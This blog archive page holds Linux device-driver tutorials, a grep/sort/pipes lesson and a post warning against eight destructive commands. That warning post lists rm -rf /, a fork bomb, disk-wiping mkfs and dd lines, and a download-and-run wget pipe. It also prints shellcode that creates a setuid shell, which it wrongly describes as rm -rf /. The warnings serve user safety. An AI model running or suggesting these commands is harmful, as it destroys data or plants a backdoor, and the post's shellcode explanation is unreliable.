Monday, 30 May 2016

Device Drivers Part-2

Device Drivers, Part 2: Writing Your First Linux Driver in the Classroom

Sketching a driver
This article, which is part of the series on Linux device drivers, deals with the concept of dynamically loading drivers, first writing a Linux driver, before building and then loading it.
Shweta and Pugs reached their classroom late, to find their professor already in the middle of a lecture. Shweta sheepishly asked for his permission to enter. An annoyed Professor Gopi responded, “Come on! You guys are late again; what is your excuse, today?”
Pugs hurriedly replied that they had been discussing the very topic for that day’s class — device drivers in Linux. Pugs was more than happy when the professor said, “Good! Then explain about dynamic loading in Linux. If you get it right, the two of you are excused!” Pugs knew that one way to make his professor happy was to criticise Windows.
He explained, “As we know, a typical driver installation on Windows needs a reboot for it to get activated. That is really not acceptable; suppose we need to do it on a server? That’s where Linux wins. In Linux, we can load or unload a driver on the fly, and it is active for use instantly after loading. Also, it is instantly disabled when unloaded. This is called dynamic loading and unloading of drivers in Linux.”
This impressed the professor. “Okay! Take your seats, but make sure you are not late again.” The professor continued to the class, “Now you already know what is meant by dynamic loading and unloading of drivers, so I’ll show you how to do it, before we move on to write our first Linux driver.”

Dynamically loading drivers

These dynamically loadable drivers are more commonly called modules and built into individual files with a .ko (kernel object) extension. Every Linux system has a standard place under the root of the file system (/) for all the pre-built modules. They are organised similar to the kernel source tree structure, under /lib/modules/<kernel_version>/kernel, where <kernel_version>would be the output of the command uname -ron the system, as shown in Figure 1.
Linux pre-built modules
Figure 1: Linux pre-built modules
To dynamically load or unload a driver, use these commands, which reside in the /sbindirectory, and must be executed with root privileges:
  • lsmod — lists currently loaded modules
  • insmod <module_file> — inserts/loads the specified module file
  • modprobe <module> — inserts/loads the module, along with any dependencies
  • rmmod <module> — removes/unloads the module
Let’s look at the FAT filesystem-related drivers as an example. Figure 2 demonstrates this complete process of experimentation. The module files would be fat.kovfat.ko, etc., in the fat(vfat for older kernels) directory under /lib/modules/`uname -r`/kernel/fs. If they are in compressed .gz format, you need to uncompress them with gunzip, before you can insmodthem.
Linux module operations
Figure 2: Linux module operations
The vfat module depends on the fat module, so fat.ko needs to be loaded first. To automatically perform decompression and dependency loading, use modprobe instead. Note that you shouldn’t specify the .ko extension to the module’s name, when using the modprobecommand. rmmod is used to unload the modules.

Our first Linux driver

Before we write our first driver, let’s go over some concepts. A driver never runs by itself. It is similar to a library that is loaded for its functions to be invoked by a running application. It is written in C, but lacks a main() function. Moreover, it will be loaded/linked with the kernel, so it needs to be compiled in a similar way to the kernel, and the header files you can use are only those from the kernel sources, not from the standard /usr/include.
One interesting fact about the kernel is that it is an object-oriented implementation in C, as we will observe even with our first driver. Any Linux driver has a constructor and a destructor. The module’s constructor is called when the module is successfully loaded into the kernel, and the destructor when rmmod succeeds in unloading the module. These two are like normal functions in the driver, except that they are specified as the init and exit functions, respectively, by the macros module_init() and module_exit(), which are defined in the kernel header module.h.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* ofd.c – Our First Driver code */
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
 
static int __init ofd_init(void) /* Constructor */
{
    printk(KERN_INFO "Namaskar: ofd registered");
    return 0;
}
 
static void __exit ofd_exit(void) /* Destructor */
{
    printk(KERN_INFO "Alvida: ofd unregistered");
}
 
module_init(ofd_init);
module_exit(ofd_exit);
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Anil Kumar Pugalia <email_at_sarika-pugs_dot_com>");
MODULE_DESCRIPTION("Our First Driver");
Given above is the complete code for our first driver; let’s call it ofd.c. Note that there is nostdio.h (a user-space header); instead, we use the analogous kernel.h (a kernel space header). printk() is the equivalent of printf(). Additionally, version.h is included for the module version to be compatible with the kernel into which it is going to be loaded. The MODULE_*macros populate module-related information, which acts like the module’s “signature”.

Building our first Linux driver

Once we have the C code, it is time to compile it and create the module file ofd.ko. We use the kernel build system to do this. The following Makefile invokes the kernel’s build system from the kernel source, and the kernel’s Makefile will, in turn, invoke our first driver’s Makefile to build our first driver.
To build a Linux driver, you need to have the kernel source (or, at least, the kernel headers) installed on your system. The kernel source is assumed to be installed at /usr/src/linux. If it’s at any other location on your system, specify the location in the KERNEL_SOURCE variable in thisMakefile.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Makefile – makefile of our first driver
 
# if KERNELRELEASE is defined, we've been invoked from the
# kernel build system and can use its language.
ifneq (${KERNELRELEASE},)
    obj-m := ofd.o
# Otherwise we were called directly from the command line.
# Invoke the kernel build system.
else
    KERNEL_SOURCE := /usr/src/linux
    PWD := $(shell pwd)
default:
    ${MAKE} -C ${KERNEL_SOURCE} SUBDIRS=${PWD} modules
 
clean:
    ${MAKE} -C ${KERNEL_SOURCE} SUBDIRS=${PWD} clean
endif
With the C code (ofd.c) and Makefile ready, all we need to do is invoke make to build our first driver (ofd.ko).
$ make
make -C /usr/src/linux SUBDIRS=... modules
make[1]: Entering directory `/usr/src/linux'
  CC [M]  .../ofd.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      .../ofd.mod.o
  LD [M]  .../ofd.ko
make[1]: Leaving directory `/usr/src/linux'

Summing up

Once we have the ofd.ko file, perform the usual steps as the root user, or with sudo.
# su
# insmod ofd.ko
# lsmod | head -10
lsmod should show you the ofd driver loaded.
While the students were trying their first module, the bell rang, marking the end of the session. Professor Gopi concluded, “Currently, you may not be able to observe anything other than thelsmod listing showing the driver has loaded. Where’s the printk output gone? Find that out for yourselves, in the lab session, and update me with your findings. Also note that our first driver is a template for any driver you would write in Linux. Writing a specialised driver is just a matter of what gets filled into its constructor and destructor. So, our further learning will be to enhance this driver to achieve specific driver functionalities.”

Device Drivers Part-1

Device Drivers, Part 1: Linux Device Drivers for Your Girl Friend

Driven...
This series on Linux device drivers aims to present the usually technical topic in a way that is more interesting to a wider cross-section of readers.
“After a week of hard work, we finally got our driver working,” were Pugs’ first words when he met his girlfriend, Shweta.
“Why? What was your driver up to? Was he sick? And what hard work did you do?” asked Shweta. Confused, Pugs responded, “What are you talking about?”
Now it was Shweta’s turn to look puzzled, as she replied, “Why ask me? You tell me — which of your drivers are you talking about?”
When understanding dawned on him, Pugs groaned, “Ah c’mon! Not my car drivers — I am talking about a device driver on my computer.”
“I know about car and bus drivers, pilots, and even screwdrivers; but what is this ‘device driver’?” queried Shweta, puzzled.
That was all it took to launch Pugs into a passionate explanation of device drivers for the newbie — in particular, Linux device drivers, which he had been working on for many years.

Of drivers and buses

A driver drives, manages, controls, directs and monitors the entity under its command. What a bus driver does with a bus, a device driver does with a computer device (any piece of hardware connected to a computer) like a mouse, keyboard, monitor, hard disk, Web-camera, clock, and more.
Further, a “pilot” could be a person or even an automatic system monitored by a person (an auto-pilot system in airliners, for example). Similarly, a specific piece of hardware could be controlled by a piece of software (a device driver), or could be controlled by another hardware device, which in turn could be managed by a software device driver. In the latter case, such a controlling device is commonly called a device controller. This, being a device itself, often also needs a driver, which is commonly referred to as a bus driver.
General examples of device controllers include hard disk controllers, display controllers, and audio controllers that in turn manage devices connected to them. More technical examples would be an IDE controller, PCI controller, USB controller, SPI controller, I2C controller, etc. Pictorially, this whole concept can be depicted as in Figure 1.
Device and driver interaction
Figure 1: Device and driver interaction
Device controllers are typically connected to the CPU through their respectively named buses (collection of physical lines) — for example, the PCI bus, the IDE bus, etc. In today’s embedded world, we encounter more micro-controllers than CPUs; these are the CPU plus various device controllers built onto a single chip. This effective embedding of device controllers primarily reduces cost and space, making it suitable for embedded systems. In such cases, the buses are integrated into the chip itself. Does this change anything for the drivers, or more generically, on the software front?
The answer is, not much — except that the bus drivers corresponding to the embedded device controllers are now developed under the architecture-specific umbrella.

Drivers have two parts

Bus drivers provide hardware-specific interfaces for the corresponding hardware protocols, and are the bottom-most horizontal software layers of an operating system (OS). Over these sit the actual device drivers. These operate on the underlying devices using the horizontal layer interfaces, and hence are device-specific. However, the whole idea of writing these drivers is to provide an abstraction to the user, and so, at the other “end”, these do provide an interface (which varies from OS to OS). In short, a device driver has two parts, which are: a) device-specific, and b) OS-specific. Refer to Figure 2.
Linux device driver partition
Figure 2: Linux device driver partition
The device-specific portion of a device driver remains the same across all operating systems, and is more about understanding and decoding the device data sheets than software programming. A data sheet for a device is a document with technical details of the device, including its operation, performance, programming, etc. — in short a device user manual.
Later, I shall show some examples of decoding data sheets as well. However, the OS-specific portion is the one that is tightly coupled with the OS mechanisms of user interfaces, and thus differentiates a Linux device driver from a Windows device driver and from a MacOS device driver.

Verticals

In Linux, a device driver provides a “system call” interface to the user; this is the boundary line between the so-called kernel space and user-space of Linux, as shown in Figure 2. Figure 3 provides further classification.
Linux kernel overview
Figure 3: Linux kernel overview
Based on the OS-specific interface of a driver, in Linux, a driver is broadly classified into three verticals:
  • Packet-oriented or the network vertical
  • Block-oriented or the storage vertical
  • Byte-oriented or the character vertical
The CPU vertical and memory vertical, taken together with the other three verticals, give the complete overview of the Linux kernel, like any textbook definition of an OS: “An OS performs 5 management functions: CPU/process, memory, network, storage, device I/O.” Though these two verticals could be classified as device drivers, where CPU and memory are the respective devices, they are treated differently, for many reasons.
These are the core functionalities of any OS, be it a micro-kernel or a monolithic kernel. More often than not, adding code in these areas is mainly a Linux porting effort, which is typically done for a new CPU or architecture. Moreover, the code in these two verticals cannot be loaded or unloaded on the fly, unlike the other three verticals. Henceforth, when we talk about Linux device drivers, we mean to talk only about the latter three verticals in Figure 3.
Let’s get a little deeper into these three verticals. The network vertical consists of two parts: a) the network protocol stack, and b)the network interface card (NIC) device drivers, or simply network device drivers, which could be for Ethernet, Wi-Fi, or any other network horizontals. Storage, again, consists of two parts: a) File-system drivers, to decode the various formats on different partitions, and b) Block device drivers for various storage (hardware) protocols, i.e., horizontals like IDE, SCSI, MTD, etc.
With this, you may wonder if that is the only set of devices for which you need drivers (or for which Linux has drivers). Hold on a moment; you certainly need drivers for the whole lot of devices that interface with the system, and Linux does have drivers for them. However, their byte-oriented cessibility puts all of them under the character vertical — this is, in reality, the majority bucket. In fact, because of the vast number of drivers in this vertical, character drivers have been further sub-classified — so you have tty drivers, input drivers, console drivers, frame-buffer drivers, sound drivers, etc. The typical horizontals here would be RS232, PS/2, VGA, I2C, I2S, SPI, etc.

Multiple-vertical drivers

One final note on the complete picture (placement of all the drivers in the Linux driver ecosystem): the horizontals like USB, PCI, etc, span below multiple verticals. Why is that?
Simple — you already know that you can have a USB Wi-Fi dongle, a USB pen drive, and a USB-to-serial converter — all are USB, but come under three different verticals!
In Linux, bus drivers or the horizontals, are often split into two parts, or even two drivers: a) device controller-specific, and b) an abstraction layer over that for the verticals to interface, commonly called cores. A classic example would be the USB controller drivers ohci, ehci, etc., and the USB abstraction, usbcore.

Summing up

So, to conclude, a device driver is a piece of software that drives a device, though there are so many classifications. In case it drives only another piece of software, we call it just a driver. Examples are file-system drivers, usbcore, etc. Hence, all device drivers are drivers, but all drivers are not device drivers.
“Hey, Pugs, hold on; we’re getting late for class, and you know what kind of trouble we can get into. Let’s continue from here, later,” exclaimed Shweta.
Jumping up, Pugs finished his explanation: “Okay. This is the basic theory about device drivers. If you’re interested, later, I can show you the code, and all that we have been doing for the various kinds of drivers.” And they hurried towards their classroom.

Friday, 27 May 2016

8 Deadly Commands You Should Never Run on Linux

image

Linux’s terminal commands are powerful, and Linux won’t ask you for confirmation if you run a command that will break your system. It’s not uncommon to see trolls online recommending new Linux users run these commands as a joke.
Learning the commands you shouldn’t run can help protect you from trolls while increasing your understanding of how Linux works. This isn’t an exhaustive guide, and the commands here can be remixed in a variety of ways.
Note that many of these commands will only be dangerous if they’re prefixed with sudo on Ubuntu – they won’t work otherwise. On other Linux distributions, most commands must be run as root.
rm -rf / – Deletes Everything!
The command rm -rf / deletes everything it possible can, including files on your hard drive and files on connected removable media devics. This command is more understandable if it’s broken down:
rm – Remove the following files.
-rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.
Linux will happily obey this command and delete everything without prompting you, so be careful when using it! The rm command can also be used in other dangerous ways – rm –rf ~would delete all files in your home folder, while rm -rf .* would delete all your configuration files.
The Lesson: Beware rm -rf.

Disguised rm –rf /

Here’s another snippet of code that’s all over the web:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
This is the hex version of rm –rf / – executing this command would wipe out your files just as if you had run rm –rf /.
The Lesson: Don’t run weird-looking, obviously disguised commands that you don’t understand.

:(){ :|: & };: – Fork Bomb

The following line is a simple-looking, but dangerous, bash function:
:(){ :|: & };:
This short line defines a shell function that creates new copies of itself. The process continually replicates itself, and its copies continually replicate themselves, quickly taking up all your CPU time and memory. This can cause your computer to freeze. It’s basically a denial-of-service attack.
The Lesson: Bash functions are powerful, even very short ones.
image

mkfs.ext4 /dev/sda1 – Formats a Hard Drive

The mkfs.ext4 /dev/sda1 command is simple to understand:
mkfs.ext4 – Create a new ext4 file system on the following device.
/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.
Taken together, this command can be equivalent to running format c: on Windows – it will wipe the files on your first partition and replace them with a new file system.
This command can come in other forms as well – mkfs.ext3 /dev/sdb2 would format the second partition on the second hard drive with the ext3 file system.
The Lesson: Beware running commands directly on hard disk devices that begin with /dev/sd.

command > /dev/sda – Writes Directly to a Hard Drive

The command > /dev/sda line works similarly – it runs a command and sends the output of that command directly to your first hard drive, writing the data directly to the hard disk drive and damaging your file system.
command – Run a command (can be any command.)
> – Send the output of the command to the following location.
/dev/sda – Write the output of the command directly to the hard disk device.
The Lesson: As above, beware running commands that involve hard disk devices beginning with /dev/sd.

dd if=/dev/random of=/dev/sda – Writes Junk Onto a Hard Drive

The dd if=/dev/random of=/dev/sda line will also obliterate the data on one of your hard drives.
dd – Perform low-level copying from one location to another.
if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).
of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.
The Lesson: dd copies data from one location to another, which can be dangerous if you’re copying directly to a device.
hard-drive-lights
Image Credit: Matt Rudge on Flickr

mv ~ /dev/null – Moves Your Home Directory to a Black Hole

/dev/null is another special location – moving something to /dev/null is the same thing as destroying it. Think of /dev/null as a black hole. Essentially, mv ~ /dev/null sends all your personal files into a black hole.
mv – Move the following file or directory to another location.
~ – Represents your entire home folder.
/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.
The Lesson: The ~ character represents your home folder and moving things to /dev/null destroys them.

wget http://example.com/something -O – | sh – Downloads and Runs a Script

The above line downloads a script from the web and sends it to sh,which executes the contents of the script. This can be dangerous if you’re not sure what the script is or if you don’t trust its source – don’t run untrusted scripts.
wget – Downloads a file. (You may also see curl in place of wget.)
http://example.com/something – Download the file from this location.
| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
sh – Send the file to the sh command, which executes it if it’s a bash script.
The Lesson: Don’t download and run untrusted scripts from the web, even with a command.

Know any other dangerous commands that new (and experienced) Linux users shouldn’t run? Leave a comment and share them!

Wednesday, 25 May 2016

Linux/Unix Pipes , Grep & Sort Command

What are pipes in Linux?
Anyone new to Linux might wonder, what role do pipes play in running the operating system? Well, they are not the "real" pipes that you have in mind !
Please be patient. The Video will load in some time. If you still face issue viewing video click here
The symbol '|' denotes a pipe. If you want to use two or more commands at the same time and run them consecutively, you can use pipes.  Pipes enables Unix/Linux users to create powerful commands which can perform complex tasks in a jiffy.
Let us understand this with an example.
When you use 'cat' command to view a file which spans multiple pages, the prompt quickly jumps to the last page of the file and you do not see the content in middle.
To avoid this, you can pipe the output of the 'cat' command to 'less' which will show you only one scroll length of content at a time.
cat filename | less
An illustration would make it clear.

'pg' and 'more' commands

Instead o f 'less' , you can also use
cat Filename | pg
or
cat Filename | more
And, you can view the file in digestible bits and scroll down by simply hitting the enter key.

The 'grep' command

Suppose you want to search a particular information the postal code from a text file .
You may manually skim the content yourself to trace the information. A better option is to use the grep command.  It will scan the document for the desired information and present the result in a format you want.
Syntax:
grep
Lets see it in action -
Here, grep command has searched the file 'sample', for the string 'Apple' and 'Eat'.
Following options can be used with this command.
Option
Function
-v
Shows all the lines that do not match the searched string
-c
Displays only the count of matching lines
-n
Shows the matching line and its number
-i
Match both (upper and lower) case
-l
Shows just the name of the file with the string

Let us try the first option '-i' on the same file use above -
Using the  'i' option grep has filtered the string 'a' (case-insensitive) from the all the lines .

The 'sort' command

This command helps in sorting out the contents of a file alphabetically.
The syntax for this command is:
sort Filename
Consider the contents of a file 
Using the sort command
There are extensions to this command as well and they are listed below.
Option
Function
-r
Reverses  sorting
-n
Sorts numerically
-f
Case insensitive sorting 

The example below, shows reverse sorting of the contents in file 'abc'.

What is a filter ?

Filter is the output from first command which becomes the input for the second one.

When you pipe 2 commands, the "filtered " output of the first command is given to the next

Let's understand this with help of an example.
We have the following file 'sample'
We want to highlight only the lines that do not contain the character 'a', but the result should be in reverse order .
For this, the following syntax can be uised.
cat sample | grep -v a | sort - r
Let us looks at the result. 
Summary:
  • Pipes '|' help combine 2 or more commands.
  • A filter in a pipe is an output of one command which serves as input to the next.
  • The grep command can be used to find strings and values in a text document
  • 'sort' command sorts out the content of a file alphabetically
  • less ,pg and more commands are used for dividing a long file into readable bits